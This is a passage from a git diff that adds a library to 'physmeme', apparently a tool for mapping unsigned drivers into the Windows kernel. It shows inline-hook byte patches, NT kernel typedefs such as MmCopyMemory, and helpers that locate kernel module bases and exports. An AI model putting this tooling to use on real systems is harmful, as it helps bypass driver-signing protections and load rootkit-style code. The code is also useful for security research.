{ return hook_addr; } + void* detour_address() { return detour_addr; } + private: + std::atomic hook_installed; + void *hook_addr, *detour_addr; + +#if _M_IX86 + /* + 0: b8 ff ff ff ff mov eax, 0xffffffff + 5: ff e0 jmp eax + */ + unsigned char jmp_code[7] = { + 0xb8, 0x0, 0x0, 0x0, 0x0, + 0xFF, 0xE0 + }; +#elif _M_X64 + /* + 0: 48 b8 ff ff ff ff ff ff ff ff movabs rax,0xffffffffffffffff + 7: ff e0 jmp rax + */ + unsigned char jmp_code[12] = { + 0x48, 0xb8, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0x0, + 0xff, 0xe0 + }; +#endif + std::uint8_t org_bytes[sizeof(jmp_code)]; + }; + + static std::map> hooks{}; + + /* + Author: xerox + Date: 12/19/2019 + + Create Hook without needing to deal with objects + */ + static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true) + { + if (!addr_to_hook) + return; + + hooks.insert({ + addr_to_hook, + std::make_unique( + addr_to_hook, + jmp_to_addr, + enable + )} + ); + } + + /* + Author: xerox + Date: 12/19/2019 + + Enable hook given the address to hook + */ + static void enable(void* addr) + { + if (!addr) + return; + hooks.at(addr)->install(); + } + + /* + Author: xerox + Date: 12/19/2019 + + Disable hook givent the address of the hook + */ + static void disable(void* addr) + { + if (!addr) + return; + hooks.at(addr)->uninstall(); + } + + + /* + Author: xerox + Date: 12/19/2019 + + Remove hook completely from vector + */ + static void remove(void* addr) + { + if (!addr) + return; + hooks.at(addr)->~detour(); + hooks.erase(addr); + } +} \ No newline at end of file diff --git a/physmeme-lib/util/nt.hpp b/physmeme-lib/util/nt.hpp new file mode 100644 index 0000000..4044d8c --- /dev/null +++ b/physmeme-lib/util/nt.hpp @@ -0,0 +1,94 @@ +#pragma once +#include +#include +#pragma comment(lib, "ntdll.lib") + +#define MM_COPY_MEMORY_PHYSICAL 0x1 +#define MM_COPY_MEMORY_VIRTUAL 0x2 +#define PHYSMEME_DEBUGGING 1 + +constexpr auto PAGE_SIZE = 0x1000; +constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + +constexpr auto SystemModuleInformation = 11; +constexpr auto SystemHandleInformation = 16; +constexpr auto SystemExtendedHandleInformation = 64; + +typedef struct _SYSTEM_HANDLE +{ + PVOID Object; + HANDLE UniqueProcessId; + HANDLE HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE, * PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX +{ + ULONG_PTR HandleCount; + ULONG_PTR Reserved; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; + +typedef enum _POOL_TYPE { + NonPagedPool, + NonPagedPoolExecute, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolBase, + NonPagedPoolBaseMustSucceed, + NonPagedPoolBaseCacheAligned, + NonPagedPoolBaseCacheAlignedMustS, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession, + NonPagedPoolNx, + NonPagedPoolNxCacheAligned, + NonPagedPoolSessionNx +} POOL_TYPE; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS; + +typedef struct _MM_COPY_ADDRESS { + union { + PVOID VirtualAddress; + PHYSICAL_ADDRESS PhysicalAddress; + }; +} MM_COPY_ADDRESS, * PMMCOPY_ADDRESS; + +using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); +using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); +using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); +using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); \ No newline at end of file diff --git a/physmeme-lib/util/util.hpp b/physmeme-lib/util/util.hpp new file mode 100644 index 0000000..5af7b34 --- /dev/null +++ b/physmeme-lib/util/util.hpp @@ -0,0 +1,155 @@ +#include +#include +#include +#include +#include +#include +#include +#include "nt.hpp" + +/* + This code stinks, its the worst code in this project and needs to be recoded in a later time. +*/ +namespace util +{ + // this was taken from wlan's drvmapper: + // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 + static void open_binary_file(const std::string& file, std::vector& data) + { + std::ifstream fstr(file, std::ios::binary); + fstr.unsetf(std::ios::skipws); + fstr.seekg(0, std::ios::end); + + const auto file_size = fstr.tellg(); + + fstr.seekg(NULL, std::ios::beg); + data.reserve(static_cast(file_size)); + data.insert(data.begin(), std::istream_iterator(fstr), std::istream_iterator()); + } + + // get base address of kernel module + // + // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 + static std::uintptr_t get_module_base(const char* module_name) + { + void* buffer = nullptr; + DWORD buffer_size = NULL; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + const uint64_t result = reinterpret_cast(modules->Modules[idx].ImageBase); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } + + // get base address of kernel module + // + // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 + static void* get_module_export(const char* module_name, const char* export_name, bool rva = false) + { + void* buffer = nullptr; + DWORD buffer_size = 0; + + NTSTATUS status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + + while (status == STATUS_INFO_LENGTH_MISMATCH) + { + VirtualFree(buffer, 0, MEM_RELEASE); + buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + status = NtQuerySystemInformation(static_cast(SystemModuleInformation), buffer, buffer_size, &buffer_size); + } + + if (!NT_SUCCESS(status)) + { + VirtualFree(buffer, 0, MEM_RELEASE); + return 0; + } + + const auto modules = static_cast(buffer); + for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) + { + // find module and then load library it + const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); + if (!_stricmp(current_module_name.c_str(), module_name)) + { + // had to shoot the tires off of "\\SystemRoot\\" + std::string full_path = reinterpret_cast(modules->Modules[idx].FullPathName); + full_path.replace( + full_path.find("\\SystemRoot\\"), + sizeof("\\SystemRoot\\") - 1, + std::string(getenv("SYSTEMROOT")).append("\\") + ); + + auto module_base = LoadLibraryA(full_path.c_str()); + PIMAGE_DOS_HEADER p_idh; + PIMAGE_NT_HEADERS p_inh; + PIMAGE_EXPORT_DIRECTORY p_ied; + + PDWORD addr, name; + PWORD ordinal; + + p_idh = (PIMAGE_DOS_HEADER)module_base; + if (p_idh->e_magic != IMAGE_DOS_SIGNATURE) + return NULL; + + p_inh = (PIMAGE_NT_HEADERS)((LPBYTE)module_base + p_idh->e_lfanew); + if (p_inh->Signature != IMAGE_NT_SIGNATURE) + return NULL; + + if (p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) + return NULL; + + p_ied = (PIMAGE_EXPORT_DIRECTORY)((LPBYTE)module_base + + p_inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + addr = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfFunctions); + name = (PDWORD)((LPBYTE)module_base + p_ied->AddressOfNames); + ordinal = (PWORD)((LPBYTE)module_base + p_ied->AddressOfNameOrdinals); + + // find exported function + for (auto i = 0; i < p_ied->AddressOfFunctions; i++) + if (!strcmp(export_name, (char*)module_base + name[i])) + { + if (!rva) + { + auto result = (void*)((std::uintptr_t)modules->Modules[idx].ImageBase + addr[ordinal[i]]); + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + else + { + auto result = (void*)addr[ordinal[i]]; + VirtualFree(buffer, NULL, MEM_RELEASE); + return result; + } + } + } + } + VirtualFree(buffer, NULL, MEM_RELEASE); + return NULL; + } +} \ No newline at end of file diff --git a/physmeme.sln b/physmeme.sln index 87974c8..d850fe5 100644 --- a/physmeme.sln +++ b/physmeme.sln @@ -5,6 +5,8 @@ VisualStudioVersion = 16.0.29613.14 MinimumVisualStudioVersion = 10.0.40219.1 Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme", "physmeme\physmeme.vcxproj", "{6578B958-DD53-4BE0-8011-009563919E73}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "physmeme-lib", "physmeme-lib\physmeme-lib.vcxproj", "{13FFA531-AD46-46F8-B52D-4A01BA078034}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|x64 = Debug|x64 @@ -21,6 +23,14 @@ Global {6578B958-DD53-4BE0-8011-009563919E73}.Release|x64.Build.0 = Release|x64 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.ActiveCfg = Release|Win32 {6578B958-DD53-4BE0-8011-009563919E73}.Release|x86.Build.0 = Release|Win32 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x64.ActiveCfg = Debug|x64 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x64.Build.0 = Debug|x64 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x86.ActiveCfg = Debug|Win32 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Debug|x86.Build.0 = Debug|Win32 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x64.ActiveCfg = Release|x64 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x64.Build.0 = Release|x64 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x86.ActiveCfg = Release|Win32 + {13FFA531-AD46-46F8-B52D-4A01BA078034}.Release|x86.Build.0 = Release|Win32 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE